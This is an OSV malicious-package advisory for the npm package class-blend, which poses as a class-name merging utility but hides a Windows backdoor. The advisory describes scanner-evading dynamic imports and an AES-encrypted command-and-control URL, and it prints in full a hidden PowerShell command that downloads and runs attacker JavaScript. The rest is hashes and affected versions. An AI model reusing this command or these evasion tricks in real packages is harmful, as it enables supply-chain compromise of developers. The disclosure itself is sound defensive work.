MAL-2026-4520

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/class-blend/MAL-2026-4520.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-4520
Published
2026-05-24T16:04:09Z
Modified
2026-05-26T06:02:21Z
Summary
Malicious code in class-blend (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (d3876854a76bda6892f76b9b44c67e066bfc6315a7e3d27431137727ff0ee728)

The package advertises itself as a clsx/twMerge-style class-name merging utility, but the exported applyGlobalStyles({palette, accents}) function contains a hidden Windows backdoor. dist/index.js dynamically imports node:crypto and node:child_process via split-string concatenation (e.g., ["no","de",":","cry","pto"].join("")) to evade static scanners. It then uses a hardcoded 32-byte AES-256-CBC key assembled from an array of hex chunks (["a7b80b01","7e76fb52","fa527621","f76027d2","19014dfc","a59b49ae","3db97ff3","ab4a72fa"]) to decrypt a URL: the caller-supplied accents array is treated as the IV and the palette array is treated as ciphertext. The decrypted URL is passed to a hidden PowerShell invocation: powershell.exe -WindowStyle Hidden -NoProfile -Command "irm -o $env:TEMP\s.js; node $env:TEMP\s.js", spawned with {detached:true, stdio:'ignore', windowsHide:true}.unref(). Any consumer who imports class-blend and calls the documented applyGlobalStyles API on Windows will silently download and execute attacker JavaScript. The encrypted-URL design lets the attacker rotate the C2 endpoint by publishing new palette/accents values to users while leaving the package source unchanged. The combined fingerprint — split-string dynamic require, AES-decrypted C2 hidden in API arguments, hidden-window detached PowerShell, irm-to-node piping, and a total mismatch between advertised purpose and behavior — is unambiguously malicious.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-004514",
            "import_time": "2026-05-26T05:52:45.255558592Z",
            "modified_time": "2026-05-24T16:23:52Z",
            "sha256": "50b0931889c8f98185bd7866e23c915aa03151c87a153442a9153ca3b567dd8b",
            "source": "amazon-inspector",
            "versions": [
                "1.0.2"
            ]
        },
        {
            "id": "IN-MAL-2026-004512",
            "import_time": "2026-05-26T05:52:44.946961185Z",
            "modified_time": "2026-05-24T16:04:09Z",
            "sha256": "89be8b806fb94c8aa03797d91d371b9cc4d79dfd892d89c3f9bdd188bbdbfba3",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "id": "IN-MAL-2026-004519",
            "import_time": "2026-05-26T05:52:45.827932826Z",
            "modified_time": "2026-05-24T17:10:54Z",
            "sha256": "ad24204803f1c7a2deebb32ad36b5c4635820a06ecd3e0c00327a5215b56e89f",
            "source": "amazon-inspector",
            "versions": [
                "1.0.5"
            ]
        },
        {
            "id": "IN-MAL-2026-004513",
            "import_time": "2026-05-26T05:52:45.140350577Z",
            "modified_time": "2026-05-24T16:10:58Z",
            "sha256": "d3876854a76bda6892f76b9b44c67e066bfc6315a7e3d27431137727ff0ee728",
            "source": "amazon-inspector",
            "versions": [
                "1.0.1"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / class-blend

Package

Name
class-blend
View open source insights on deps.dev
Purl
pkg:npm/class-blend

Affected ranges

Affected versions

1.*
1.0.0
1.0.1
1.0.2
1.0.5

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "dist/index.js",
            "sha256": "26131f9716bd51a9ce0ed1dbfc1603a939c9f03f18a797e1da690dea9e97b326",
            "tlsh": "ddc300cab1a23132d32b686048bf018bf377dda0177e4481d159a2adb63441ea5b7f7d"
        }
    ],
    "package_integrity": [
        {
            "filename": "class-blend-1.0.2.tgz",
            "hashes": {
                "sha1": "133fd727d271ae70bf3ff298044d9e598ca14d84",
                "sha512_sri": "sha512-laaP6qKvsIklkBixTTcoLesawTaBA2AzBqpn9mNp26iXBDhQOa8gniOyqvUPNvoovcDELMKlgmKgHpTdBK9KYA=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/class-blend/MAL-2026-4520.json"